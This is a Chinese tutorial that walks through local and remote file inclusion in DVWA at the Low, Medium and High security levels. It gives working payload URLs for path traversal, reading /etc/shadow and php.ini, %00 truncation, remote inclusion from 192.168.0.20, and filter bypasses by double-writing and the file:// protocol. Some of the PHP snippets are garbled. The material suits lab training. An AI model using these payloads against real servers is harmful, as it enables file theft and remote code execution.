文件包含漏洞:
当服务器开启allow_url_include选项时,就可以通过php的某些特性include(),require(),include_once(),require_once()利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行,文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启php配置中的allow_url_fopen选项之后,服务器允许包含一个远程的文件.
文件包含分类:
1.LFI:本地文件包含(Local File Inclusion);2.RFI:远程文件包含(Remote File Inclusion).
文件包含有关函数:
1.include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行;2.include_once():和 include()功能相同,区别在于当重复调用同一文件时,程序只调用一次;3.require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行;4.require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次.
相关php.ini配置参数:
1.allow_url_fopen = on(默认开启);2.allow_url_include = on(默认关闭).
Low安全级别源代码:
<?php
$file = $GET=['page']:
?>
注:可以分析服务器端对page参数没有做任何的过滤跟检查,服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回.Kali Linux系统利用DVWA靶场进测试文件包含漏洞:
注:服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。现实中恶意攻击者是不会乖乖点击这些链接的,因此page参数是不可控的.
点击file1.php,观察到URL为:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file1.php
本地文件包含漏洞利用,构造URL:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=/etc/shadowKali Linux系统利用DVWA靶场进测试文件包含漏洞:
注:发现报错信息,显示没有这个文件,说明不是服务器系统不是Linux,但同时暴露服务器文件的绝对路径D:\phpStudy\PHPTutorial\WWW\DVWA-1.9\
构造URL绝对路径:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini
成功读取服务器php.ini文件:
Kali Linux系统利用DVWA靶场进测试文件包含漏洞:构造URL相对路径:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../DVWA-1.9/php.ini
加这么多…\是为了保证到达服务器的D盘根目录,可以看到读取成功:
Kali Linux系统利用DVWA靶场进测试文件包含漏洞:读取phpstudy探针文件进行信息搜集:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../../WWW/l.phpKali Linux系统利用DVWA靶场进测试文件包含漏洞:
注:同时在读取上面的php.ini文件时,可以看到配置文件中的magic_quote_gpc选项为off,在php版本小于5.3.4的服务器中,当magic_quote_gpc选项为off时,可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个URL是完全等效的:
1.http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../dvwa/php.ini
2.http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../dvwa/php.ini%002Kali Linux系统利用DVWA靶场进测试文件包含漏洞:
远程文件包含:
当服务器php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行,在远程服务器192.168.0.20上传一个phpinfo.txt文件,内容如下:
<?php phpinfo();?>
构造以下URL,成功在服务器上执行了phpinfo()函数:
127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=http://192.168.0.20/phpinfo.txt
Medium安全等级源代码:
<?php
$file = $GET=['page']:
$file = str_replace=( array( "http://","https://" ),"",$file);
$file = str_replace=( array( "../","..\"" ),"",$file);
?>
clipboard (7).png
str_replace(find,replace,string,count)图片.png
eg:
把字符串 "Hello world!" 中的字符 "world" 替换为 "Shanghai":
<?php
echo str_replace("world","Shanghai","Hello world!");
?>
可以分析增加了str_replace函数将以下字符串替换为空,例如:[http://],[https://],[../],[..\].
漏洞利用:
使用str_replace函数是极不安全的,可以使用双写绕过替换规则,例如page=htthttp://p://192.168.0.20/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.20/phpinfo.txt,成功执行远程命令。同时因为替换的只是…/、…\,所以对采用绝对路径的方式包含文件是不会受到任何限制的.
本地文件包含:
绝对路径不受任何影响,读取配置文件成功:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini
注:相对路径利用以下payload读取配置文件成功.
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=..././..././..././DVWA-1.9/php.ini
远程文件包含:
构造以下payload,远程执行命令成功:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=htthttp://p://192.168.0.20/phpinfo.txt
High安全级别源代码:
<?php
$file = $GET=['page']:
if( !fnmatch( "file*",$file ) && $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}
?>
可以分析出High代码使用了fnmatch()函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件.
漏洞利用:
High代码规定只能包含file开头的文件,看似安全,但是依然可以利用file协议绕过防护策略。因为fnmatch函数适用于 PHP >= 4.3.0,因此PHP版本高于这个才能利用,否则会出现打不开high等级页面.
构造如下URL,成功读取服务器配置文件:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file://D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.iniKali Linux系统利用DVWA靶场进测试文件包含漏洞:
注:至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件的绝对路径,从而实现文件包含任意命令执行!
网友评论